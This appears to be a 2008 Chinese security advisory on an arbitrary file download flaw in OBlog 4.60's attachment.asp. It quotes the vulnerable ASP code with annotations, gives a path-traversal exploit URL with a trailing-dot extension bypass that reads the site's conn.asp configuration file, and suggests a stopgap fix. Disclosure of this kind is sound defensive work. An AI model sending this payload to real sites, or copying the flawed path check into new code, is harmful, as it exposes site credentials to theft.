OBlog任意文件下載漏洞
更新時間:2008年05月02日 22:19:01 作者:
OBlog任意文件下載漏洞
系統(tǒng)編號:BES2008053247
發(fā)布時間:2008-05-02
更新時間:2008-05-02
危害級別:★★★☆☆☆
受影響版本:
OBlog 4.60
描述:
attachment.asp代碼
Path = Trim(Request("path")) '獲取用戶提交的路徑
FileID = Trim(Request("FileID"))
If FileID ="" And Path = "" Then
Response.Write "參數(shù)不足"
Response.End
End If
...
If CheckDownLoad Or 1= 1Then
If Path = "" Then
set rs = Server.CreateObject("ADODB.RecordSet")
link_database
SQL = ("select file_path,userid,file_ext,ViewNum FROM oblog_upfile WHERE FileID = "&CLng(FileID))
rs.open sql,conn,1,3
If Not rs.Eof Then
uid = rs(1)
file_ext = rs(2)
rs("ViewNum") = rs("ViewNum") + 1
rs.Update
downloadFile Server.MapPath(rs(0)),0
Else
Response.Status=404
Response.Write "該附件不存在!"
End If
rs.Close
Set rs = Nothing
Else
If InStr(path,Oblog.CacheConfig(56)) > 0 Then 'Tr4c3 標注:注意這里,僅僅判斷用戶提交的路徑是否包含UploadFiles,為真則調(diào)用downloadfile函數(shù)下載文件
downloadFile Server.MapPath(Path),1
End if
End If
Else
'如果附件為圖片的話,當權(quán)限檢驗無法通過則調(diào)用一默認圖片,防止<img>標記無法調(diào)用,影響顯示效果
If Path = "" Then
Response.Status=403
Response.Write ShowDownErr
Response.End
Else
downloadFile Server.MapPath(blogdir&"images/oblog_powered.gif"),1
End if
End if
Set oblog = Nothing
Sub downloadFile(strFile,stype)
On Error Resume Next
Server.ScriptTimeOut=9999999
Dim S,fso,f,intFilelength,strFilename
strFilename = strFile
Response.Clear
Set s = Server.CreateObject(oblog.CacheCompont(2))
s.Open
s.Type = 1
Set fso = Server.CreateObject(oblog.CacheCompont(1))
If Not fso.FileExists(strFilename) Then
If stype = 0 Then
Response.Status=404
Response.Write "該附件已經(jīng)被刪除!"
Exit Sub
Else
strFilename = Server.MapPath(blogdir&"images/nopic.gif")
End if
End If
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
If Err Then
Response.Write("<h1>錯誤: </h1>" & Err.Description & "<p>")
Response.End
End If
Set fso=Nothing
Dim Data
Data=s.Read
s.Close
Set s=Nothing
Dim ContentType
select Case LCase(Right(strFile, 4))
Case ".asp",".mdb",".config",".js" 'Tr4c3 標注:再看這里,想起來什么來了?對了,前幾天我發(fā)的沸騰展望新聞系統(tǒng)的任意下載漏洞跟這個檢查的方法差不多[http://www.tr4c3.com /post/306.html],利用方法也相似,神奇的"."又派上用場了。
Exit Sub
Case ".asf"
ContentType = "video/x-ms-asf"
Case ".avi"
ContentType = "video/avi"
Case ".doc"
ContentType = "application/msword"
Case ".zip"
ContentType = "application/zip"
Case ".xls"
ContentType = "application/vnd.ms-excel"
Case ".gif"
ContentType = "image/gif"
Case ".jpg", "jpeg"
ContentType = "image/jpeg"
Case ".wav"
ContentType = "audio/wav"
Case ".mp3"
ContentType = "audio/mpeg3"
Case ".mpg", "mpeg"
ContentType = "video/mpeg"
Case ".rtf"
ContentType = "application/rtf"
Case ".htm", "html"
ContentType = "text/html"
Case ".txt"
ContentType = "text/plain"
Case Else
ContentType = "application/octet-stream"
End select
If Response.IsClientConnected Then
If Not (InStr(LCase(f.name),".gif")>0 Or InStr(LCase(f.name),".jpg")>0 Or InStr(LCase(f.name),".jpeg")>0 Or InStr(LCase(f.name),".bmp")>0 Or InStr(LCase(f.name),".png")>0 )Then
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
End If
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = ContentType
Response.BinaryWrite Data
Response.Flush
Response.Clear()
End If
End Sub
<* 參考:
Tr4c3[at]126[dot]com
*>
測試方法:
[警 告]
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用.風險自負!
########################################################################
利用方法:
http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp.
########################################################################
建議:
修補建議:
等待官方發(fā)布新的補丁程序。
########################################################################
臨時解決辦法:
將attachment.asp第5行 Path = Trim(Request(”path”)) 改成 Path = Replace(Trim(Request(”path”)),”..”,”")
########################################################################
相關(guān)文章
Advanced SQL Injection with MySQL
Advanced SQL Injection with MySQL...2007-01-01推薦:二次發(fā)現(xiàn)桃源網(wǎng)絡(luò)硬盤漏洞
推薦:二次發(fā)現(xiàn)桃源網(wǎng)絡(luò)硬盤漏洞...2007-01-01google hack dat 又增加的一些比較新的數(shù)據(jù)
google hack dat 又增加的一些比較新的數(shù)據(jù)2007-01-01